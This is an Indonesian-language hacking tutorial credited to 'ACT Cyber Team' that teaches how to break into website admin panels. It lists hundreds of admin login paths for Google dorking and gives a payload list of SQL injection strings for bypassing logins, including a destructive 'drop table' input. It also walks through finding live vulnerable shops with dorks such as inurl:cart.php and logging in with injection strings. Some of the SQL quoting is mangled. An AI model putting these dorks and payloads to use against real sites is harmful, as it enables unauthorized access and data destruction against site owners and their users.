Dork Bypass Admin Login By ACT Cyber Team 2020

Dork nya cuyy admin1.php admin.asp admin/account.asp admin/account.html admin/account.php admin/controlpanel.asp admin/controlpanel.html admin/controlpanel.php admin/cp.asp admin/cp.html admin/cp.php admin/home.asp admin/home.php admin/index.asp admin/index.html admin/login.asp admin/login.html admin/login.php admin1.asp admin1.html admin1/ admin2.asp admin2.html admin2.php admin4_account/ admin4_colon/ admincontrol.asp admincontrol.html admincontrol.php administer/ administr8.asp administr8.html administr8.php administr8/ administracao.php administracao/ administracion.php administracion/ administrateur.php administrateur/ administratie/ administration.html administration.php administration/ administrator.asp administrator.html administrator.php administrator/account.asp administrator/account.html administrator/account.php administrator/index.asp administrator/index.html administrator/index.php administrator/login.asp administrator/login.html administrator/login.php administratoraccounts/ administrators/ administrivia/ adminpanel.asp adminpanel.html adminpanel.php adminpro/ admins.asp admins.html admins.php admins/ AdminTools/ amministratore.php amministratore/ autologin/ banneradmin/ bbadmin/ beheerder.php beheerder/ bigadmin/ blogindex/ cadmins/ ccms/ ccms/index.php ccms/login.php ccp14admin/ cmsadmin/ configuration/ configure/ controlpanel.asp controlpanel.html controlpanel.php controlpanel/ cp.asp cp.html cp.php cpanel_file/ customer_login/ database_administration/ Database_Administration/ dir-login/ directadmin/ ezsqliteadmin/ fileadmin.asp fileadmin.html fileadmin.php formslogin/ globes_admin/ hpwebjetadmin/ Indy_admin/ irc-macadmin/ LiveUser_Admin/ login_db/ login-redirect/ login-us/ login.asp login.html login.php login1/ loginflat/ logo_sysadmin/ Lotus_Domino_Admin/ macadmin/ maintenance/ manuallogin/ memlogin/ meta_login/ modelsearch/login.asp modelsearch/login.php moderator.asp moderator.html moderator.php moderator/ moderator/admin.asp moderator/admin.html moderator/admin.php moderator/login.asp moderator/login.html moderator/login.php myadmin/ navSiteAdmin/ newsadmin/ openvpnadmin/ painel/ panel/ pgadmin/ phpldapadmin/ phppgadmin/ phpSQLiteAdmin/ platz_login/ power_user/ project-admins/ pureadmin/ radmind-1/ radmind/ rcLogin/ server_admin_small/ Server.asp Server.html Server.php ServerAdministrator/ showlogin/ simpleLogin/ smblogin/ sql-admin/ ss_vms_admin_sm/ sshadmin/ staradmin/ sub-login/ Super-Admin/ support_login/ sys-admin/ sysadmin.asp sysadmin.html sysadmin.php sysadmin/ SysAdmin/ SysAdmin2/ sysadmins/ system_administration/ system-administration/ ur-admin.asp ur-admin.html ur-admin.php ur-admin/ useradmin/ UserLogin/ utility_login/ v2/painel/ vadmind/ vmailadmin/ webadmin.asp webadmin.html webadmin.php webmaster/ websvn/ wizmysqladmin/ wp-admin/ wp-login/ xlogin/ yonetici.asp yonetici.html yonetici.php yonetim.asp yonetim.html yonetim.php

Bypass Admin Login

Penjelasannya sperti ini:

Ketika input username  dan password diisi seperti di atas, maka yang terjadi pada proses  input adalah sebagai berikut:

Var sql = “select * from users where username = ‘ “ + username + “ ‘ and password = ‘ “ + password  +  “  ‘ “ ‘

Hal ini bisa terjadi karena, ketika input tersebut diproses  oleh sistem, yang terjadi adalah operasi tersebut dianggap valid.

Var sql = “select * from users where username = ‘ ‘ OR ‘ ‘ = ‘ ‘  and password = ‘ ‘ OR ‘ ‘=’ ‘ ;

Misalnya, sebuah database memiliki tabel dengan nama “user” dn memiliki “field” account dan password.

Account	Password
Admin	Pop3y3
Joko	Jack1

Kembali pada contoh kasus sewaktu seseorang memasukkan input berupa ‘OR”=’ baik pada bagian account maupun pada bagian password. Secara logika bisa kita lihat syntax SQL menjadi:

’’or’’=’’=’’ AND password=’’or’’=’’

Dalam SQL, fungsi logika OR untuk untuk mengembalikan nilai False menjadi True.

Mungkin ada di antara pembaca yang bertanya, bagaimana jika kita ingin login dengan account tertentu tetapi kita tidak mengetahui password-nya. Misalnya, anda ingin login dengan nama account ‘joko’ seperti yang terdapat pada tabel diatas.

Caranya dengan memasukkan input padatext box dengan ‘—sedangkan pada bagian password diisi dengan  ‘OR”=’

Jika dilihat padda synntax SQL , bentuknya adalah:

SELECT  * FROM user WHERE account=’joko’- -‘ AND password=’ ’or’ ’=’ ’

Fungsi pemakaian tanda double minus tentunya Anda sudah tahu, seperti yang telah dijelaskan pada bab sebelumnya. Pada beberapa kasus, tanda double minus juga bisa diganti dengan tanda # menjadi joko’#.

Sedangkan pada kotak isian password bisa diisi dengan bebas’ or ‘x’=’x’

Berikut penjelasannya. Sewaktu seseorang menekan tombol login maka SQL akan menjalankan query seperti berikut:

SELECT  * FROM user WHERE account=’joko’ AND password=’ bebas’ or ‘x’=’x’

Akibatnya pada bagian password akan terisi dengan nilai bebas. Tentu saja input ini bernilai salah  (false) dan menyebabkan seseorang tidak akan bisa login. Karena password tersebut tidak tersimpan pada database. Akan tetapi, perhatikan query lanjutannya, yaitu or ‘x’=’x. Artinya , sistem akan diberikan pilihan (fungsi OR). Jika sebelumnya, input password bernilai salah, maka dijalankan pilihan berikutnya yang sudah pasti benar karena adanya ‘x’=’x’. Sehingga seseorang bisa melakukan login dengan account joko.

 

           Berikut beberapa syntax yang sering digunakan dalam Google:

–          /admin.php

–          /login.php

–          /logon.php

–          /adminlogin.php

–          /adminlogon.php

–          /admin_login.php

–          /admin_logon.php

–          /admin/admin.php

–          /admin/login.php

–          /admin/logon.php

–          /admin/adminlogin.php

–          /admin/adminlogon.php

–          /admin/admin_login.php

–          /admin/admin_logon.php

–          /administrator/admin.php

–          /administrator/login.php

–          /administrator/logon.php

–          /reboot/login.php

–          /admin/index.php

Selain itu, Anda bisa langsung memasukkan syntax di atas, atau menggunakan tanda kutip, seperti: “/admin.asp”. Kalau perlu, Anda juga bisa menggunakan kombinasi dengan syntax-syntax untuk Google Dork, seperti allinurl:admin/index.asp.

Halaman yang akan muncul dari tindakan di atas, biasanya adalah halaman Login

.

Untuk dapat masuk ada banyak kode yang bisa digunakan, di antaranya:

Username:  ‘or’a’=’a

Password:  ‘or’a’=’a

Jika tidak berhasil maka kode tersebut divariasikan menjadi:

Username:  admin

Password:   ‘or’a’=’a

Berikut beberapa kode variasinya:

‘ or 0=0 – –   ‘ or 0=0 – – or 0=0 – –   ‘ or  0=0 #   ‘ or  0=0 # or  0=0 # ‘ or  ‘x’=’x ‘ or  “x”=”x ‘) or ( ‘x’=’x  ‘ or 1=1 – –  ‘ or 1=1 – – or 1=1 – –  ‘ or a=a – –

“  or  “a”=”a  ‘ )  or  ( ‘a’=’a “ )  or  ( “a”=”a hi ”  )  or  “a”=”a hi ” or 1=1 – – hi ’  or 1=1 – – hi ’  or   ‘a’=’a hi ‘ ) or   ( ‘a’=’a hi “) or   ( “a”=”a ‘=’ ‘ LIKE ‘ ‘ =0 – – +

Untuk jawaban kedua, misalnya kita menggunakan perintah ‘or’ 1=1 – – untuk inpiut account-nya sedangkan input password, kita misalkan menggunakan kata ‘free’.

Sewaktu input dari account atau username sebuah situs web dengan memasukkan string ‘or’ 1=1 – – hal ini akan membuat SQL menjadi bingung karena SQL membacanya:

SELECT  * FROM user WHERE account=”or 1=1 – – AND paswsword= ‘free’

Perlu anda ketahui juga bahwa aksi SQL injection melalui input box ini tidak hanya berlaku untuk melakukan aksi Login saja. Misalnya, anda bisa menggunakan perintah:

Username: ’; drop table userid- –

Password:

Dilihat dari cara kerjanya, perintah di atas akan bekerja:

Var sql = “select  * from userid where username = `’ drop table userid–

MODEL SERANGAN SEDERHANA

Contoh pemakaian double minus pada SQL Injection attack:

Username : admin’ – –

SELECT *  FROM members WHERE username = ‘admin’- – AND password= ‘password’

Fungsi perintah di atas akan membuat Anda bisa login sebagai admin.

Secara umum, untuk mencocokkan user yang login perintah SQL-nya adalah:

Select * from admin where username = input_username AND password = input_password

Conto soal:

Jika diketahui username adalah ‘administrator’, sedangkan password-nya adalah ‘heloworld’. Administrator berniat untuk login. Tentukan statement-nya?

Diketahui:

Username: administrator

Password: heloworld

Ditanyakan:

SQL statement= …?

Penyelesaian:

Rumus:

SELECT * FROM admin WHERE username = input_username AND password = input_password

Masukkan yang diketahui ke dalam rumus, menjadi:

Select * from admin where username = ‘administrator’ and password = heloworld

Sekarang, saya akan memberikan ilustrasi sederhana, untuk pola lainnya. Misalnya dengan sebuah situs URL:

http://www.situs-target.com/category=buku

sekarang, kita asumsikan URL nya diganti menjadi:

http://www.situs-target.com/category=buku’ or 1=1..

Maka variabel v_cat sama dengan “buku” or 1=1- -“. Jika kita tukar dengan query SQL, jadinya:

SELECT * FROM Product WHERE Pcategory=’buku’ or 1=1- -‘

Selain beberapa kode di atas yang telah di bahas, Anda juga dapat menggunakan beberapa kemungkinan lain nya:

EXPLOIT ByPASS HALAMAN LOGIN

Subbab ini hanyalah bab tambahan dari saya, yaitu beberapa exploit yang berhubungan dengan SQL Injection untuk mem-bypass halaman login. Walaupun exploit itu adalah sesuatu yang kuno karena akan mudah di patch, setidaknya ini akan menambahkan pengetahuan Anda dalam hal kegiatan hacking menggunakan SQL Injection.

Gunakan syntax dibawah ini pada halaman pencarian Google untuk mencari situs web yang

 bisa Anda eksploitasi (exploit).

Syntax: inurl:”cart.php?m=”

Nantinya Anda akan menemukan situs target katakanlah:

http://www.situs-target.com/cart.php?m=productlist&c=10

Atau,

http://www.situs-target.com/store/cart.php?m=product_detail&p=342

Dari situs target  yang Anda peroleh tersebut, hapuslah string:cart.php?m=product_list&c=10

Menjadi: http://www.situs-target.com/

Sekarang tambahkan kata admin dibelakangnya, menjadi: http://www.situs-target.com/admin

Untuk masuk pada situs web dengan model seperti ini Injection nya adalah :

Username: admin

Password:’or”=”

Syntax Google berikutnya yang bisa Anda coba adalah :

allinurl:shopadmin.asp

Di mana username dan password yang digunakan adalah:

Username: ‘or’1

Password:’or’1